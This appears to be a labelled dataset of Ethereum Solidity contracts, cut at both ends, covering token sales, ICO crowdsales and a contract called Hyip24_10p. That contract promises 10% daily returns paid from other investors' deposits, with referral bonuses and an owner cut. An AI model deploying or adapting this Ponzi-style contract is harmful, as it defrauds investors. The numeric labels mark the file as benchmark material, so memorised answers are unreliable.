uint256 startTime = 1525708800;
uint256 endTime = 1528473600;
uint256 lockEndTime = 1528473600;
uint256 public decimals = 18;
uint256 DECIMALSFACTOR = 10 ** decimals;
uint256 constant weiDECIMALS = 18;
uint256 weiFACTOR = 10 ** weiDECIMALS;
uint256[] foundationAmounts = [5 * (10**8) * DECIMALSFACTOR,
5 * (10**8) * DECIMALSFACTOR,
1 * (10**8) * DECIMALSFACTOR,
1 * (10**8) * DECIMALSFACTOR,
1 * (10**8) * DECIMALSFACTOR,
1 * (10**8) * DECIMALSFACTOR,
1 * (10**8) * DECIMALSFACTOR];
uint256[] teamAmounts = [15 * (10**8) * DECIMALSFACTOR];
uint256[] miningAmounts = [15 * (10**8) * DECIMALSFACTOR,
15 * (10**8) * DECIMALSFACTOR];
uint256[] angelAmounts = [5 * (10**8) * DECIMALSFACTOR];
uint256[] cornerstoneAmounts = [1 * (10**8) * DECIMALSFACTOR,
1 * (10**8) * DECIMALSFACTOR,
1 * (10**8) * DECIMALSFACTOR,
1 * (10**8) * DECIMALSFACTOR,
1 * (10**8) * DECIMALSFACTOR,
2 * (10**8) * DECIMALSFACTOR,
3 * (10**8) * DECIMALSFACTOR];
uint256[] preIcoAmounts = [5 * (10**8) * DECIMALSFACTOR];
address contractOwner;
uint256 ethRaised = 0;
uint256 donationCount;
uint256 public totalSupply = 100 * (10**8) * DECIMALSFACTOR;
uint256 public availableSupply = totalSupply;
uint256 hardCap = 30000 * weiFACTOR;
uint256 minimumDonation = 1 * 10 ** (weiDECIMALS - 1);
bool public finalised = false;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
function BGXToken() public {
contractOwner = msg.sender;
uint i = 0;
for (i = 0; i < foundationAddresses.length; i++){
balanceOf[foundationAddresses[i]] += foundationAmounts[i];
availableSupply -= foundationAmounts[i];
emit Transfer(address(0), foundationAddresses[i], foundationAmounts[i]);
}
for (i = 0; i < teamAddresses.length; i++){
balanceOf[teamAddresses[i]] += teamAmounts[i];
availableSupply -= teamAmounts[i];
emit Transfer(address(0), teamAddresses[i], teamAmounts[i]);
}
for (i = 0; i < miningAddresses.length; i++){
balanceOf[miningAddresses[i]] += miningAmounts[i];
availableSupply -= miningAmounts[i];
emit Transfer(address(0), miningAddresses[i], miningAmounts[i]);
}
for (i = 0; i < angelAddresses.length; i++){
balanceOf[angelAddresses[i]] += angelAmounts[i];
availableSupply -= angelAmounts[i];
emit Transfer(address(0), angelAddresses[i], angelAmounts[i]);
}
for (i = 0; i < cornerstoneAddresses.length; i++){
balanceOf[cornerstoneAddresses[i]] += cornerstoneAmounts[i];
availableSupply -= cornerstoneAmounts[i];
emit Transfer(address(0), cornerstoneAddresses[i], cornerstoneAmounts[i]);
}
for (i = 0; i < preIcoAddresses.length; i++){
balanceOf[preIcoAddresses[i]] += preIcoAmounts[i];
availableSupply -= preIcoAmounts[i];
emit Transfer(address(0), preIcoAddresses[i], preIcoAmounts[i]);
}
balanceOf[icoAddress] = availableSupply;
emit Transfer(address(0), icoAddress, availableSupply);
}
function () payable public {
require(!finalised);
require(block.timestamp >= startTime);
require(block.timestamp <= endTime);
require(ethRaised < hardCap);
require(msg.value >= minimumDonation);
uint256 etherValue = msg.value;
if (ethRaised + etherValue > hardCap){
etherValue = hardCap - ethRaised;
assert(msg.value > etherValue);
msg.sender.transfer(msg.value - etherValue);
}
ethFundAddress.transfer(etherValue);
donationCount += 1;
ethRaised += etherValue;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function _isInWhiteAddresses(address _from) internal view returns (bool success) {
if (icoAddress == _from){
return true;
}
uint i = 0;
for (i = 0; i < foundationAddresses.length; i++){
if (foundationAddresses[i] == _from){
return true;
}
}
for (i = 0; i < teamAddresses.length; i++){
if (teamAddresses[i] == _from){
return true;
}
}
for (i = 0; i < miningAddresses.length; i++){
if (miningAddresses[i] == _from){
return true;
}
}
for (i = 0; i < angelAddresses.length; i++){
if (angelAddresses[i] == _from){
return true;
}
}
for (i = 0; i < cornerstoneAddresses.length; i++){
if (cornerstoneAddresses[i] == _from){
return true;
}
}
for (i = 0; i < preIcoAddresses.length; i++){
if (preIcoAddresses[i] == _from){
return true;
}
}
return false;
}
function transfer(address _to, uint256 _value) public {
require(block.timestamp > lockEndTime || _isInWhiteAddresses(msg.sender));
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(block.timestamp > lockEndTime || _isInWhiteAddresses(_from));
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(block.timestamp > lockEndTime);
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
emit Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(block.timestamp > lockEndTime);
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
emit Burn(_from, _value);
return true;
}
function finalise() public {
require(msg.sender == contractOwner);
require(!finalised);
finalised = true;
}
function setLockEndTime(uint256 t) public {
require(msg.sender == contractOwner);
lockEndTime = t;
}
} | 0 | 1,702 |
pragma solidity ^0.4.24;
contract Hyip24_10p {
using SafeMath for uint256;
mapping(address => uint256) investments;
mapping(address => uint256) joined;
mapping(address => uint256) withdrawals;
mapping(address => uint256) referrer;
uint256 public step = 10;
uint256 public minimum = 100 finney;
uint256 public minbounty = 10 finney;
address public ownerWallet;
address public owner;
event Invest(address investor, uint256 amount);
event Withdraw(address investor, uint256 amount);
event Bounty(address hunter, uint256 amount);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
ownerWallet = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner, address newOwnerWallet) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
ownerWallet = newOwnerWallet;
}
function () public payable {
buy(0x0);
}
function buy(address _referredBy) public payable {
require(msg.value >= minimum);
address _customerAddress = msg.sender;
if(
_referredBy != 0x0000000000000000000000000000000000000000 &&
_referredBy != _customerAddress
){
referrer[_referredBy] = referrer[_referredBy].add(msg.value.mul(10).div(100));
}
if (investments[msg.sender] > 0){
if (withdraw()){
withdrawals[msg.sender] = 0;
}
}
investments[msg.sender] = investments[msg.sender].add(msg.value);
joined[msg.sender] = block.timestamp;
ownerWallet.transfer(msg.value.mul(5).div(100));
emit Invest(msg.sender, msg.value);
}
function getBalance(address _address) view public returns (uint256) {
uint256 minutesCount = now.sub(joined[_address]).div(1 minutes);
uint256 percent = investments[_address].mul(step).div(100);
uint256 different = percent.mul(minutesCount).div(1440);
uint256 balance = different.sub(withdrawals[_address]);
return balance;
}
function withdraw() public returns (bool){
require(joined[msg.sender] > 0);
uint256 balance = getBalance(msg.sender);
if (address(this).balance > balance){
if (balance > 0){
withdrawals[msg.sender] = withdrawals[msg.sender].add(balance);
msg.sender.transfer(balance);
emit Withdraw(msg.sender, balance);
}
return true;
} else {
return false;
}
}
function bounty() public {
uint256 refBalance = checkReferral(msg.sender);
if(refBalance >= minbounty) {
if (address(this).balance > refBalance) {
referrer[msg.sender] = 0;
msg.sender.transfer(refBalance);
emit Bounty(msg.sender, refBalance);
}
}
}
function checkBalance() public view returns (uint256) {
return getBalance(msg.sender);
}
function checkWithdrawals(address _investor) public view returns (uint256) {
return withdrawals[_investor];
}
function checkInvestments(address _investor) public view returns (uint256) {
return investments[_investor];
}
function checkReferral(address _hunter) public view returns (uint256) {
return referrer[_hunter];
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 0 | 1,135 |
pragma solidity ^0.4.23;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ForeignToken {
function balanceOf(address _owner) constant public returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract GenkiProject is ERC20 {
using SafeMath for uint256;
address owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
string public constant name = "Genki";
string public constant symbol = "GENKI";
uint public constant decimals = 8;
uint256 public totalSupply = 5000000000e8;
uint256 public totalDistributed = 1000000000e8;
uint256 public constant MIN_CONTRIBUTION = 1 ether / 1000;
uint256 public tokensPerEth = 200000e8;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Distr(address indexed to, uint256 amount);
event DistrFinished();
event Airdrop(address indexed _owner, uint _amount, uint _balance);
event TokensPerEthUpdated(uint _tokensPerEth);
event Burn(address indexed burner, uint256 value);
bool public distributionFinished = false;
modifier canDistr() {
require(!distributionFinished);
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function GenkiProject () public {
owner = msg.sender;
distr(owner, totalDistributed);
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function finishDistribution() onlyOwner canDistr public returns (bool) {
distributionFinished = true;
emit DistrFinished();
return true;
}
function distr(address _to, uint256 _amount) canDistr private returns (bool) {
totalDistributed = totalDistributed.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Distr(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function doAirdrop(address _participant, uint _amount) internal {
require( _amount > 0 );
require( totalDistributed < totalSupply );
balances[_participant] = balances[_participant].add(_amount);
totalDistributed = totalDistributed.add(_amount);
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
emit Airdrop(_participant, _amount, balances[_participant]);
emit Transfer(address(0), _participant, _amount);
}
function adminClaimAirdrop(address _participant, uint _amount) public onlyOwner {
doAirdrop(_participant, _amount);
}
function adminClaimAirdropMultiple(address[] _addresses, uint _amount) public onlyOwner {
for (uint i = 0; i < _addresses.length; i++) doAirdrop(_addresses[i], _amount);
}
function updateTokensPerEth(uint _tokensPerEth) public onlyOwner {
tokensPerEth = _tokensPerEth;
emit TokensPerEthUpdated(_tokensPerEth);
}
function () external payable {
getTokens();
}
function getTokens() payable canDistr public {
uint256 tokens = 0;
require( msg.value >= MIN_CONTRIBUTION );
require( msg.value > 0 );
tokens = tokensPerEth.mul(msg.value) / 1 ether;
address investor = msg.sender;
if (tokens > 0) {
distr(investor, tokens);
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[_from]);
require(_amount <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
function getTokenBalance(address tokenAddress, address who) constant public returns (uint){
ForeignToken t = ForeignToken(tokenAddress);
uint bal = t.balanceOf(who);
return bal;
}
function withdraw() onlyOwner public {
address myAddress = this;
uint256 etherBalance = myAddress.balance;
owner.transfer(etherBalance);
}
function burn(uint256 _value) onlyOwner public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
totalDistributed = totalDistributed.sub(_value);
emit Burn(burner, _value);
}
function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) {
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
} | 1 | 2,500 |
pragma solidity ^0.4.20;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ShortAddressProtection {
modifier onlyPayloadSize(uint256 numwords) {
assert(msg.data.length >= numwords * 32 + 4);
_;
}
}
contract BasicToken is ERC20Basic, ShortAddressProtection {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
function transfer(address _to, uint256 _value) onlyPayloadSize(2) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping(address => mapping(address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) onlyPayloadSize(3) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) onlyPayloadSize(2) public returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) onlyPayloadSize(2) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) onlyPayloadSize(2) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract MintableToken is Ownable, StandardToken {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
address public saleAgent;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier onlySaleAgent() {
require(msg.sender == saleAgent);
_;
}
function setSaleAgent(address _saleAgent) onlyOwner public {
require(_saleAgent != address(0));
saleAgent = _saleAgent;
}
function mint(address _to, uint256 _amount) onlySaleAgent canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlySaleAgent canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract Token is MintableToken {
string public constant name = "TOKPIE";
string public constant symbol = "TKP";
uint8 public constant decimals = 18;
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract WhitelistedCrowdsale is Ownable {
mapping(address => bool) public whitelist;
modifier isWhitelisted(address _beneficiary) {
require(whitelist[_beneficiary]);
_;
}
function addToWhitelist(address _beneficiary) external onlyOwner {
whitelist[_beneficiary] = true;
}
function addManyToWhitelist(address[] _beneficiaries) external onlyOwner {
for (uint256 i = 0; i < _beneficiaries.length; i++) {
whitelist[_beneficiaries[i]] = true;
}
}
}
contract FinalizableCrowdsale is Pausable {
using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
function finalize() onlyOwner public {
require(!isFinalized);
finalization();
Finalized();
isFinalized = true;
}
function finalization() internal;
}
contract RefundVault is Ownable {
using SafeMath for uint256;
enum State {Active, Refunding, Closed}
mapping(address => uint256) public deposited;
address public wallet;
State public state;
event Closed();
event RefundsEnabled();
event Refunded(address indexed beneficiary, uint256 weiAmount);
function RefundVault(address _wallet) public {
require(_wallet != address(0));
wallet = _wallet;
state = State.Active;
}
function deposit(address investor) onlyOwner public payable {
require(state == State.Active);
deposited[investor] = deposited[investor].add(msg.value);
}
function close() onlyOwner public {
require(state == State.Active);
state = State.Closed;
Closed();
wallet.transfer(this.balance);
}
function enableRefunds() onlyOwner public {
require(state == State.Active);
state = State.Refunding;
RefundsEnabled();
}
function refund(address investor) public {
require(state == State.Refunding);
uint256 depositedValue = deposited[investor];
deposited[investor] = 0;
investor.transfer(depositedValue);
Refunded(investor, depositedValue);
}
}
contract preICO is FinalizableCrowdsale, WhitelistedCrowdsale {
Token public token;
uint256 public startDate;
uint256 public endDate;
uint256 public weiRaised;
uint256 public constant rate = 1920;
uint256 public constant softCap = 500 * (1 ether);
uint256 public constant hardCap = 1000 * (1 ether);
RefundVault public vault;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function preICO(address _token, address _wallet, uint256 _startDate, uint256 _endDate) public {
require(_token != address(0) && _wallet != address(0));
require(_endDate > _startDate);
startDate = _startDate;
endDate = _endDate;
token = Token(_token);
vault = new RefundVault(_wallet);
}
function claimRefund() public {
require(isFinalized);
require(!goalReached());
vault.refund(msg.sender);
}
function goalReached() public view returns (bool) {
return weiRaised >= softCap;
}
function finalization() internal {
require(hasEnded());
if (goalReached()) {
vault.close();
} else {
vault.enableRefunds();
}
}
function() external payable {
buyTokens(msg.sender);
}
function buyTokens(address beneficiary) whenNotPaused isWhitelisted(beneficiary) isWhitelisted(msg.sender) public payable {
require(beneficiary != address(0));
require(validPurchase());
require(!hasEnded());
uint256 weiAmount = msg.value;
uint256 tokens = weiAmount.mul(rate);
require(tokens >= 100 * (10 ** 18));
weiRaised = weiRaised.add(weiAmount);
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
function forwardFunds() internal {
vault.deposit.value(msg.value)(msg.sender);
}
function validPurchase() internal view returns (bool) {
return !isFinalized && now >= startDate && msg.value != 0;
}
function hasEnded() public view returns (bool) {
return (now > endDate || weiRaised >= hardCap);
}
}
contract ICO is Pausable, WhitelistedCrowdsale {
using SafeMath for uint256;
Token public token;
uint256 public startDate;
uint256 public endDate;
uint256 public hardCap;
uint256 public weiRaised;
address public wallet;
mapping(address => uint256) public deposited;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function ICO(address _token, address _wallet, uint256 _startDate, uint256 _endDate, uint256 _hardCap) public {
require(_token != address(0) && _wallet != address(0));
require(_endDate > _startDate);
require(_hardCap > 0);
startDate = _startDate;
endDate = _endDate;
hardCap = _hardCap;
token = Token(_token);
wallet = _wallet;
}
function claimFunds() onlyOwner public {
require(hasEnded());
wallet.transfer(this.balance);
}
function getRate() public view returns (uint256) {
if (now < startDate || hasEnded()) return 0;
if (now >= startDate && now < startDate + 604680) return 1840;
if (now >= startDate + 604680 && now < startDate + 1209480) return 1760;
if (now >= startDate + 1209480 && now < startDate + 1814280) return 1680;
if (now >= startDate + 1814280 && now < startDate + 2419080) return 1648;
if (now >= startDate + 2419080) return 1600;
}
function() external payable {
buyTokens(msg.sender);
}
function buyTokens(address beneficiary) whenNotPaused isWhitelisted(beneficiary) isWhitelisted(msg.sender) public payable {
require(beneficiary != address(0));
require(validPurchase());
require(!hasEnded());
uint256 weiAmount = msg.value;
uint256 tokens = weiAmount.mul(getRate());
require(tokens >= 100 * (10 ** 18));
weiRaised = weiRaised.add(weiAmount);
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
}
function validPurchase() internal view returns (bool) {
return now >= startDate && msg.value != 0;
}
function hasEnded() public view returns (bool) {
return (now > endDate || weiRaised >= hardCap);
}
}
contract postICO is Ownable {
using SafeMath for uint256;
Token public token;
address public walletE;
address public walletB;
address public walletC;
address public walletF;
address public walletG;
uint256 public endICODate;
bool public finished = false;
uint256 public FTST;
mapping(uint8 => bool) completedE;
mapping(uint8 => bool) completedBC;
uint256 public paymentSizeE;
uint256 public paymentSizeB;
uint256 public paymentSizeC;
function postICO(
address _token,
address _walletE,
address _walletB,
address _walletC,
address _walletF,
address _walletG,
uint256 _endICODate
) public {
require(_token != address(0));
require(_walletE != address(0));
require(_walletB != address(0));
require(_walletC != address(0));
require(_walletF != address(0));
require(_walletG != address(0));
require(_endICODate >= now);
token = Token(_token);
endICODate = _endICODate;
walletE = _walletE;
walletB = _walletB;
walletC = _walletC;
walletF = _walletF;
walletG = _walletG;
}
function finish() onlyOwner public {
require(now > endICODate);
require(!finished);
require(token.saleAgent() == address(this));
FTST = token.totalSupply().mul(100).div(65);
paymentSizeE = FTST.mul(2625).div(100000);
uint256 tokensE = paymentSizeE.mul(8);
token.mint(this, tokensE);
paymentSizeB = FTST.mul(25).div(10000);
uint256 tokensB = paymentSizeB.mul(4);
token.mint(this, tokensB);
paymentSizeC = FTST.mul(215).div(10000);
uint256 tokensC = paymentSizeC.mul(4);
token.mint(this, tokensC);
uint256 tokensF = FTST.mul(2).div(100);
token.mint(walletF, tokensF);
uint256 tokensG = FTST.mul(24).div(1000);
token.mint(walletG, tokensG);
token.finishMinting();
finished = true;
}
function claimTokensE(uint8 order) onlyOwner public {
require(finished);
require(order >= 1 && order <= 8);
require(!completedE[order]);
if (order == 1) {
require(now >= endICODate + 15724800);
token.transfer(walletE, paymentSizeE);
completedE[order] = true;
}
if (order == 2) {
require(now >= endICODate + 31536000);
token.transfer(walletE, paymentSizeE);
completedE[order] = true;
}
if (order == 3) {
require(now >= endICODate + 47260800);
token.transfer(walletE, paymentSizeE);
completedE[order] = true;
}
if (order == 4) {
require(now >= endICODate + 63072000);
token.transfer(walletE, paymentSizeE);
completedE[order] = true;
}
if (order == 5) {
require(now >= endICODate + 78796800);
token.transfer(walletE, paymentSizeE);
completedE[order] = true;
}
if (order == 6) {
require(now >= endICODate + 94608000);
token.transfer(walletE, paymentSizeE);
completedE[order] = true;
}
if (order == 7) {
require(now >= endICODate + 110332800);
token.transfer(walletE, paymentSizeE);
completedE[order] = true;
}
if (order == 8) {
require(now >= endICODate + 126144000);
token.transfer(walletE, paymentSizeE);
completedE[order] = true;
}
}
function claimTokensBC(uint8 order) onlyOwner public {
require(finished);
require(order >= 1 && order <= 4);
require(!completedBC[order]);
if (order == 1) {
require(now >= endICODate + 15724800);
token.transfer(walletB, paymentSizeB);
token.transfer(walletC, paymentSizeC);
completedBC[order] = true;
}
if (order == 2) {
require(now >= endICODate + 31536000);
token.transfer(walletB, paymentSizeB);
token.transfer(walletC, paymentSizeC);
completedBC[order] = true;
}
if (order == 3) {
require(now >= endICODate + 47260800);
token.transfer(walletB, paymentSizeB);
token.transfer(walletC, paymentSizeC);
completedBC[order] = true;
}
if (order == 4) {
require(now >= endICODate + 63072000);
token.transfer(walletB, paymentSizeB);
token.transfer(walletC, paymentSizeC);
completedBC[order] = true;
}
}
}
contract Controller is Ownable {
Token public token;
preICO public pre;
ICO public ico;
postICO public post;
enum State {NONE, PRE_ICO, ICO, POST}
State public state;
function Controller(address _token, address _preICO, address _ico, address _postICO) public {
require(_token != address(0x0));
token = Token(_token);
pre = preICO(_preICO);
ico = ICO(_ico);
post = postICO(_postICO);
require(post.endICODate() == ico.endDate());
require(pre.weiRaised() == 0);
require(ico.weiRaised() == 0);
require(token.totalSupply() == 0);
state = State.NONE;
}
function startPreICO() onlyOwner public {
require(state == State.NONE);
require(token.owner() == address(this));
token.setSaleAgent(pre);
state = State.PRE_ICO;
}
function startICO() onlyOwner public {
require(now > pre.endDate());
require(state == State.PRE_ICO);
require(token.owner() == address(this));
token.setSaleAgent(ico);
state = State.ICO;
}
function startPostICO() onlyOwner public {
require(now > ico.endDate());
require(state == State.ICO);
require(token.owner() == address(this));
token.setSaleAgent(post);
state = State.POST;
}
} | 1 | 4,160 |
pragma solidity 0.5.9;
library DSMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x);
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x);
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x);
}
function min(uint x, uint y) internal pure returns (uint z) {
return x <= y ? x : y;
}
function max(uint x, uint y) internal pure returns (uint z) {
return x >= y ? x : y;
}
function imin(int x, int y) internal pure returns (int z) {
return x <= y ? x : y;
}
function imax(int x, int y) internal pure returns (int z) {
return x >= y ? x : y;
}
uint constant WAD = 10 ** 18;
uint constant RAY = 10 ** 27;
function wmul(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, y), WAD / 2) / WAD;
}
function rmul(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, y), RAY / 2) / RAY;
}
function wdiv(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, WAD), y / 2) / y;
}
function rdiv(uint x, uint y) internal pure returns (uint z) {
z = add(mul(x, RAY), y / 2) / y;
}
function rpow(uint x, uint n) internal pure returns (uint z) {
z = n % 2 != 0 ? x : RAY;
for (n /= 2; n != 0; n /= 2) {
x = rmul(x, x);
if (n % 2 != 0) {
z = rmul(z, x);
}
}
}
}
contract Medianizer {
function peek() public view returns (bytes32, bool) {}
}
contract Dai {
function transferFrom(address src, address dst, uint wad) public returns (bool) {}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract RektFyi is Ownable {
using DSMath for uint;
struct Receiver {
uint walletBalance;
uint bountyETH;
uint bountyDAI;
uint timestamp;
uint etherPrice;
address payable sender;
}
struct Vault {
uint fee;
uint bountyETH;
uint bountySAI;
uint bountyDAI;
}
struct Pot {
uint ETH;
uint DAI;
}
mapping(address => Receiver) public receiver;
mapping(address => uint) public balance;
mapping(address => address[]) private recipients;
mapping(address => Pot) public unredeemedBounty;
mapping(address => Vault) public vault;
Pot public bountyPot = Pot(0,0);
uint public feePot = 0;
bool public shutdown = false;
uint public totalSupply = 0;
uint public multiplier = 1300000000000000000;
